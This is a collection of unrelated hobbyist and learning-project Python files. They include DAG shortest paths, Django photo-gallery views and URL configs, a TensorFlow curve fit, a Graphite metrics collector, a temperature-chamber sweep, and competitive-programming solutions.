    indegree = {nod: 0 for nod in graph}

    for nod in graph:
        for vecin in graph[nod]:
            indegree[vecin[0]] += 1

    for nod in indegree:
        if indegree[nod] == 0:
            q.append(nod)

    # BFS
    while q:
        nod = q.popleft()
        ordine_topologica.append(nod)

        for vecin in graph[nod]:
            indegree[vecin[0]] -= 1

            if indegree[vecin[0]] == 0:
                q.append(vecin[0])

    return ordine_topologica

if __name__ == '__main__':
    graph = {1: [(5, 2), (6, 1)], 2: [], 3: [(5, 4), (2, 3)], 4: [(2, 7)], 5: [(2, 1), (4, 6)], 6: [(2, 2)]}

    start = 1
    dist = [float("inf")] * (len(graph) + 1)
    tata = [0] * (len(graph) + 1)
    dist[start] = 0

    sort_top = sortare_topologica()

    for nod in sort_top:
        for vecin, cost in graph[nod]:
            if dist[nod] + cost < dist[vecin]:
                dist[vecin] = dist[nod] + cost
                tata[vecin] = nod

    print(*dist)
    print(tata)


from django.db.models import query
from django.shortcuts import redirect, render
from .models import Image, Category
from django.core.exceptions import ObjectDoesNotExist
from django.http import Http404
from .forms import PhotoCreateForm
from django.shortcuts import get_object_or_404
from django.db.models import Q
from .filters import ImageFilter
# Create your views here.
def photo_list(request):
    photos = Image.objects.all()
    context = {
        'photos':photos
    }
    return render(request, 'photo_list.html', context)

def single_photo(request, photo_id):
    try:
       photo =  Image.objects.get(pk=photo_id)
    except:
        Image.DoesNotExist
        raise Http404()
    return render(request, 'photo.html', {'photo':photo})

def create_photo(request):
    form = PhotoCreateForm(request.POST, request.FILES)
    if form.is_valid():
        label=form.cleaned_data['label']
        image = form.cleaned_data['image']
        description = form.cleaned_data['description']
        category = form.cleaned_data['category']
        location = form.cleaned_data['location']
        year_taken = form.cleaned_data['year_taken']
        form.save()
    else:
        form = PhotoCreateForm()

    return render(request, 'create_photo.html', {'form':form})

def delete_photo(request, photo_id):
    photo = Image.objects.get(pk=photo_id)
    photo.delete()
    return redirect('/')

def update_photo(request, photo_id):
    photo = get_object_or_404(Image, pk=photo_id)
    if request.method == 'POST':
        form = PhotoCreateForm(request.POST, instance=photo)
        if form.is_valid():
        #label=form.cleaned_data['label']
        #image = form.cleaned_data['image']
        #description = form.cleaned_data['description']
        #category = form.cleaned_data['category']
       # location = form.cleaned_data['location']
        #year_taken = form.cleaned_data['year_taken']
            form.save()
            return redirect('/')
    else:
        form = PhotoCreateForm(instance=photo)
    return render(request, 'update_photo.html', {'form':form})

def get_photo_by_id(request, photo_id):
    photo = Image.objects.filter(pk=photo_id)
    context = {
        'photo':photo
    }
    return render(request, 'get_photo_by_id.html', context)

def search_results(request):

    if 'photo' in request.GET and request.GET["photo"]:
        search_term = request.GET.get("photo")
        searched_articles = Image.search_by_category(search_term)
        message = f"{search_term}"

        return render(request, 'search.html',{"message":message,"photos": searched_articles})

    else:
        message = "You haven't searched for any term"
        return render(request, 'search.html',{"message":message})

def location_filter(request):
    filter = ImageFilter(request.GET, queryset=Image.objects.all())
    return render(request, 'filter.html', {'filter': filter})

def sports(request):
    sports_category = Category.objects.get(pk=4)
    sports = Image.objects.all().filter(category=sports_category)
    return render(request,'category/sports.html', {'sports':sports})

def travel(request):
    travel_category = Category.objects.get(pk=1)
    travel = Image.objects.filter(category=travel_category)
    return render(request,'category/travel.html', {'travel':travel})

def fashion(request):
    fashion_category = Category.objects.get(pk=5)
    fashion = Image.objects.filter(category=fashion_category)
    return render(request,'category/fashion.html', {'fashion':fashion})

def family(request):
    family_category = Category.objects.get(pk=2)
    family = Image.objects.filter(category=family_category)
    return render(request,'category/family.html', {'family':family})

def landscape(request):
    landscape_category = Category.objects.get(pk=3)
    landscape = Image.objects.filter(category=landscape_category)
    return render(request, 'category/landscape.html', {'landscape':landscape})

def cat(request):
    cats = Category.objects.all()
    context = {
        'cats':cats
    }
    return render(request, 'cats.html', context)

def index(request):
    photos = Image.objects.all()
    context = {
        'photos':photos
    }
    return render(request, 'index.html', context)


from django.urls import path
from blog.views import (
    blog_home_view,
    create_blog_view,
    detail_blog_view,
    edit_blog_view,
)

#   Whenever url file is created that is not in the main url file (i.e. its in an app like 'blog'), it must have an 'app_name' parameter
app_name = 'blog'

urlpatterns = [
    path('', blog_home_view, name = "blog_home"),
    path('create/', create_blog_view, name =  "create"),
    #   '<slug>' will make the url the slug name of the blog post
    path('<slug>/', detail_blog_view, name =  "detail"),
    path('<slug>/edit', edit_blog_view, name =  "edit"),
]


import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt

initial_learning_rate = 1e-9
iterations = 100000

# data
x_list = [1, 1.6, 3, 4.1, 5.2, 5.9, 6.8, 8.1, 8.7, 9.2, 9.9]
y_list = [27, 32.5, 30, 37.3, 36.4, 32.4, 28.5, 30, 34.1, 39, 36]
x_data = np.asarray(x_list, dtype=np.float32)
y_data = np.asarray(y_list, dtype=np.float32)
n_samples = x_data.shape[0]

def func_5th(a, b, c, d, e, f):
    return a * x_data * x_data * x_data * x_data * x_data \
           + b * x_data * x_data * x_data * x_data \
           + c * x_data * x_data * x_data \
           + d * x_data * x_data \
           + e * x_data \
           + f

def quard_fitting_5th():
    global_step = tf.Variable(0, trainable=False)
    add_global = global_step.assign_add(1)

    a = tf.Variable(tf.random_uniform([1], 0, 0.01))
    b = tf.Variable(tf.random_uniform([1], -0.01, 0.01))
    c = tf.Variable(tf.random_uniform([1], -0.01, 0.01))
    d = tf.Variable(tf.random_uniform([1], -0.01, 0.01))
    e = tf.Variable(tf.random_uniform([1], -0.01, 0.01))
    f = tf.Variable(tf.random_uniform([1], 27, 29))

    y = func_5th(a, b, c, d, e, f)
    loss = tf.reduce_sum(tf.pow(y-y_data, 2) / (2*n_samples))

    learning_rate = tf.train.exponential_decay(initial_learning_rate,
                                               global_step=global_step,
                                               decay_steps=10000, decay_rate=0.95)
    optimizer = tf.train.GradientDescentOptimizer(learning_rate)
    train = optimizer.minimize(loss)

    # training
    init = tf.global_variables_initializer()

    sess = tf.Session()
    sess.run(init)

    for step in range(iterations+1):
        sess.run(train)
        sess.run([add_global, learning_rate])
        if step % 100 == 0:
            print(step, sess.run(a), sess.run(b), sess.run(c),
                  sess.run(d), sess.run(e), sess.run(f), sess.run(loss))

    return sess.run(a), sess.run(b), sess.run(c), sess.run(d), sess.run(e), sess.run(f)

if __name__ == '__main__':
    a, b, c, d, e, f = quard_fitting_5th()

    plt.plot(x_data, y_data, 'ro', label='origin data')
    plt.plot(func_5th(a, b, c, d, e, f), label='5th order fitted line')
    plt.legend()
    plt.show()


from gevent import monkey
monkey.patch_socket()
monkey.patch_ssl()

import time
# import graphitesend
import datetime

# extend ulimit opened files
import resource
resource.setrlimit(resource.RLIMIT_NOFILE, (65536, 65536))

import sys
sys.path.append('.')
import settings
import netflix_metrics

current_timestamp = int(time.time())

# graphitesend.init(
#    init_type='plaintext_tcp',
#    graphite_server=settings.CARBON_SERVER,
#    graphite_port=settings.CARBON_PORT,
#    prefix=settings.CARBON_PREFIX,
#    suffix=settings.CARBON_SUFFIX,
#    system_name=settings.CARBON_SYSTEM,
# )

def get_list_of_urls():
    # get list of allowed applications (id)
    instance = netflix_metrics.Metro(settings.url_api, settings.app_type[1], 'allowedApps', token=settings.token,
                                     proxies=settings.proxy)
    app_id_json = instance.get_allowed()
    list_apps_id = [app_id_json['apps'][n]['id'] for n in xrange(len(app_id_json['apps']))
                    if ('test' and 'example') not in app_id_json['apps'][n]['id'].lower()]

    # get json of allowed widgets
    instance = netflix_metrics.Metro(settings.url_api, settings.app_type[1], 'widgets-i-can-create',
                                     token=settings.token, proxies=settings.proxy)
    widgets_json = instance.get_allowed()

    daily, realtime = 0, 0
    daily_metrics, app_list_req, list_of_urls = [], [], []

    # get lists of metrics
    # change xrange to range if use python3
    for n in xrange(len(widgets_json['widgets'])):
        if 'realtime' in widgets_json['widgets'][n]['tags'] and len(widgets_json['widgets'][n]['tags']) == 1:
            realtime += 1
        elif 'last60mins' in widgets_json['widgets'][n]['createOptions']['timespan']:
            daily += 1
            daily_metrics.append(widgets_json['widgets'][n]['widgetType'])
            if 'app' in widgets_json['widgets'][n]['tags']:
                app_list_req.append(widgets_json['widgets'][n]['widgetType'])
            else:
                netflix_metrics.configure_logging(settings.loglevel).debug(widgets_json['widgets'][n]['widgetType'],
                                                            widgets_json['widgets'][n]['createOptions']['timespan'])

    # get list of urls
    for acr, country_id in settings.country_acr.items():
        for metric_name in daily_metrics:
            if metric_name in app_list_req:
                for app_id in list_apps_id:
                    #daily timespan - last60mins
                    instance = netflix_metrics.Metro(settings.url_api, settings.app_type[0], metric_name, country_id,
                                                     settings.timespan[0], settings.timespan_options,
                                                     settings.template_type, settings.token, settings.proxy, app_id)
                    list_of_urls.append(instance.get_list_of_url())
            else:
                instance = netflix_metrics.Metro(settings.url_api, settings.app_type[0], metric_name, country_id,
                                                 settings.timespan[0], settings.timespan_options,
                                                 settings.template_type,
                                                 settings.token, settings.proxy, app_id='')
                list_of_urls.append(instance.get_list_of_url())

    return list_of_urls

def send_data(urls_list):
    for r in netflix_metrics.get_response_list(settings.token, settings.proxy, urls_list, timeout=15, size=16,
                                               exception_handler=netflix_metrics.exception_handler):
        if r.status_code == 200:
            acr, metric, applid = netflix_metrics.get_message(r.url, settings.country_acr)

            to_graphite(r.json(), settings.prefix, acr, metric, applid)

def to_graphite(data, prefix, country_acr, metric_name, applid):
    """Send received data to Graphite
    :param data: response of Metrological API in json
    :param prefix: prefix' format for graphite
    :param country_acr: country acronym
    :param metric_name: name of metric
    :param applid: application id, if it is required
    :return: pass
    """
    if 'categories' in data["data"][country_acr] and data["data"][country_acr]["categories"] != [] \
        and isinstance(data["data"][country_acr]["categories"][0], (int, float)):

        categories = data["data"][country_acr]["categories"]
        data_type = data["data"][country_acr]["data"]

        for i in xrange(0, len(categories)):
            tmp = categories[i] / 1000 + settings.TIME_SHIFT
            if applid == '':
                applid = 'general'
            if data_type[i] is None:
                continue
            message = '{0}.{1}.{2}.{3}'.format(prefix, country_acr, metric_name, applid)
            print(message, data_type[i], tmp)

            # graphitesend.send(
            #    metric=message,
            #    value=data_type[i],
            #    timestamp=tmp,
            # )

    elif country_acr in data["data"] and'categories' in data["data"][country_acr] \
        and data["data"][country_acr]["categories"] != [] \
        and not isinstance(data["data"][country_acr]["categories"][0], (int, float)):

        categories = data["data"][country_acr]["categories"]
        data_type = data["data"][country_acr]["data"]

        for i in xrange(len(categories)):
            message = '{0}.{1}.{2}.{3}'.format(prefix, country_acr, metric_name, categories[i])
            print(message, data_type[i], current_timestamp)

            # graphitesend.send(
            #    metric=message,
            #    value=data_type[i],
            #    timestamp=current_timestamp,
            # )

    elif country_acr in data["data"] and 'data' in data["data"][country_acr]:
        data_type = data["data"][country_acr]["data"]

        for i in xrange(len(data_type)):
            message = '{0}.{1}.{2}.{3}'.format(prefix, country_acr, metric_name, data_type[i]['name'].encode('ascii', 'ignore'))
            print(message, data_type[i]['data'], current_timestamp)

            # graphitesend.send(
            #    metric=message,
            #    value=int(data_type[i]['data']),
            #    timestamp=current_timestamp,
            # )

if __name__ == "__main__":
    netflix_metrics.configure_logging(settings.loglevel).info('RUN.........')
    list_of_urls = get_list_of_urls()
    send_data(list_of_urls)
    netflix_metrics.configure_logging(settings.loglevel).info('FINISH.........')


with open("year_2016/input_03.txt", encoding="utf-8") as f:
    contents = f.readlines()

triangles = []
for line in contents:
    line = line.strip()
    components = line.split(" ")
    components = [c.strip() for c in components]
    components = [c for c in components if len(c) > 0]
    triangles.append(list(map(int, components)))

def triangle_is_possible(triangle):
    one = triangle[0] + triangle[1] > triangle[2]
    two = triangle[0] + triangle[2] > triangle[1]
    three = triangle[1] + triangle[2] > triangle[0]
    return one and two and three

def part1():
    possible = 0

    for triangle in triangles:
        if triangle_is_possible(triangle):
            possible += 1

    return possible

def part2():
    possible = 0

    for index in range(0, len(triangles), 3):
        row_1 = triangles[index]
        row_2 = triangles[index + 1]
        row_3 = triangles[index + 2]

        t1 = [row_1[0], row_2[0], row_3[0]]
        t2 = [row_1[1], row_2[1], row_3[1]]
        t3 = [row_1[2], row_2[2], row_3[2]]

        for triangle in [t1, t2, t3]:
            if triangle_is_possible(triangle):
                possible += 1

    return possible

print("Part 1:", part1())
print("Part 2:", part2())


from django.conf.urls import url
from django.shortcuts import redirect
from django.views.decorators.csrf import csrf_exempt
from django.contrib.auth.views import login, logout
from app.views import send_morsel, start_hunt, MorselList, MorselDetailView,\
register, create_morsel, HomePageView, FAQPageView, AboutPageView,\
newsletter_signup, edit_morsel, morsel_list_public

app_name = 'app'
urlpatterns = [
    url(r'^$', HomePageView.as_view(), name='home'),
    url(r'^morsels/$', MorselList.as_view(), name='morsel_list'),
    url(r'^morsels_public/$', morsel_list_public, name='morsel_list_public'),
    url(r'^morsels/send/$', send_morsel, name='morsel_send'),
    url(r'^morsels/(?P<morsel_id>[0-9]+)/start_hunt/$', start_hunt, name='start_hunt'),
    url(r'^register/', register, name='register'),
    url(r'^faq/$', FAQPageView.as_view(), name='faq'),
    url(r'^about/$', AboutPageView.as_view(), name='about'),
    url(r'^morsels/create/$', create_morsel, name="create_morsel"),
    url(r'^morsels/(?P<morsel_id>[0-9]+)/edit/$', edit_morsel, name='edit_morsel'),
    url(r'^morsels/(?P<pk>[0-9]+)/display/$', MorselDetailView.as_view(), name='morsel_detail'),
    url(r'^newsletter_signup/$', newsletter_signup, name='newsletter_signup')
]


"""
unit tests for eval.py
"""

from typing import List

import pytest

from text_classification.dataset_utils import InputMultilabelExample, OutputMultilabelExample
from ood_transformers import eval

@pytest.mark.usefixtures("input_multilabel_examples")
def test_incorrect_prediction_aucs(
    input_multilabel_examples: List[InputMultilabelExample]) -> None:
    """
    test that incorrect_prediction_aucs generates
    the expected AUC values for some dummy data
    """

    test_examples = input_multilabel_examples
    # generate some dummy data
    test_examples = [
        InputMultilabelExample(
            test_example.guid,
            test_example.text,
            ["Label 0", "Label 1"]
        )
        for test_example in test_examples
    ]
    prediction_examples = [
        OutputMultilabelExample(
            test_example.guid,
            test_example.text,
            ["Label 0", "Label 1", "Label 2", "Label 3"],
            [0.9, 0.1, 0.9, 0.1]
        )
        for test_example in test_examples
    ]

    positive_auc, negative_auc = eval.incorrect_prediction_aucs(
        test_examples,
        prediction_examples,
        lambda confidence: confidence >= 0.5,
        lambda confidence: confidence < 0.5)

    assert positive_auc == 0.5
    assert negative_auc == 0.5


import sys
sys.stdin = open('10250.txt','r')

T = int(input())
for t in range(T):
    h, w, n = map(int,input().split())
    nh = n % h
    nw = n // h + 1
    if nh == 0:
        nh = h
        nw = n // h
    print(nh*100+nw)

# T = int(input())
# for t in range(T):
#     h, w, n = map(int,input().split())
#     cnt = 0

#     hotel = [[0] * w for _ in range(h)]

#     for i in range(w):
#         for j in range(h):
#             # hotel[j][i] = 1
#             cnt += 1

#             if cnt == n:
#                 nh = str(j+1)
#                 nw = str(i+1)
#                 break

#     print(nh+nw.zfill(2))


import pickle
import argparse
import cv2
import os
from pysensor.localbinarypatterns import LocalBinaryPatterns
from imutils import paths

ap = argparse.ArgumentParser()
ap.add_argument("-p", "--pickle" , required=True, help ="Pickle model treinado")
ap.add_argument("-e", "--testing", required=True, help ="Path para predict")

args=vars(ap.parse_args())

desc = LocalBinaryPatterns(24,4)

print(args["pickle"])

with open(args["pickle"], 'rb') as file:
    pickle_model = pickle.load(file)
    for imagePath in paths.list_images(args["testing"]):
        image = cv2.imread(imagePath)
        gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
        hist = desc.describe(gray)
        prediction= pickle_model.predict(hist.reshape(1,-1))

        print(prediction[0])
        cv2.putText(image,prediction[0],(10,30),cv2.FONT_HERSHEY_SIMPLEX,1.0,(0,0,255),2)
        cv2.imshow("Image",image)
        cv2.waitKey(0)
        cv2.destroyWindow("Image")


from time import sleep
from F4t_control import (F4TController, RampScale, TempUnits)

# setup a temperature sweep
temp_units = TempUnits['C']
start = -40
stop = 125
step = 5
ramp_time_min = 3.0
soak_time_min = 7.0
temps = range(start,stop+step,step)

# instantiate the unit
x = F4TController(host='169.254.250.143',timeout=1)

# configure unit for sweeping temperature
x.set_ramp_time(ramp_time_min)
x.set_ramp_scale(RampScale.MINUTES)
# ensure chamber is enabled:
x.set_output(1,'ON')
# ensure units
x.set_units(temp_units)

for temp in temps:
    print('ramping to temperature {}'.format(temp))
    x.set_temperature(temp)
    # wait for ramp time to finish
    sleep(ramp_time_min*60)
    while abs(x.get_temperature() - temp) > 0.2:
        sleep(1.0)
    # begin soak
    print('beginning soak at temp {}'.format(x.get_temperature()))
    sleep(soak_time_min*60)

# turn off unit
print('completed sweep!')
x.set_output(1,'OFF')
x.set_temperature(22)
# cleanup for socket connection is handled automatically


x = int(input('Enter a number: '))
empt_list = []
a = list(range(x+1))
for i in a:
    if i > 1:
        for b in range(2, i // 2 + 1):
            if i % b == 0:
                break
        else:
            empt_list.append(i)

print(f'prime number in range of {x}: ',empt_list)


# 766. Toeplitz Matrix
# Array

# Set  先遍历左下角对角线，然后从[0,0]开始遍历对角线
# running time: faster than 76.80%
class Solution:
    def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool:
        M, N = len(matrix), len(matrix[0])

        h = M - 1
        while h > 0:
            y, x = h, 0
            arr = []
            while 0 <= y < M and 0 <= x < N:
                arr.append(matrix[y][x])
                x += 1
                y += 1

            if len(set(arr)) != 1:
                return False
            h -= 1

        w = 0
        while w < N:
            x, y = w, 0
            arr = []
            while 0 <= y < M and 0 <= x < N:
                arr.append(matrix[y][x])
                x += 1
                y += 1
            else:
                if len(set(arr)) != 1:
                    return False
            w += 1

        return True

# Iterate
# running time: faster than 76.80%
class Solution2:
    def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool:
        for i in range(len(matrix)-1):
            for j in range(len(matrix[0])-1):
                if matrix[i][j] != matrix[i+1][j+1]:
                    return False

        return True

# running time: faster than 76.80%
class Solution2:
    def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool:
        return all(r == 0 or c == 0 or matrix[r-1][c-1] == val for r,row in enumerate(matrix) for c,val in enumerate(row))

# https://blog.csdn.net/fuxuemingzhu/article/details/79127213
# 只要观察到第二行的后面部分 和 第一行的前面部分相等即可。使用切片和一个for循环就能解决问题。
# running time: faster than 52.03%
class Solution3:
    def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool:
        return all(matrix[row+1][1:] == matrix[row][:-1] for row in range(len(matrix)-1))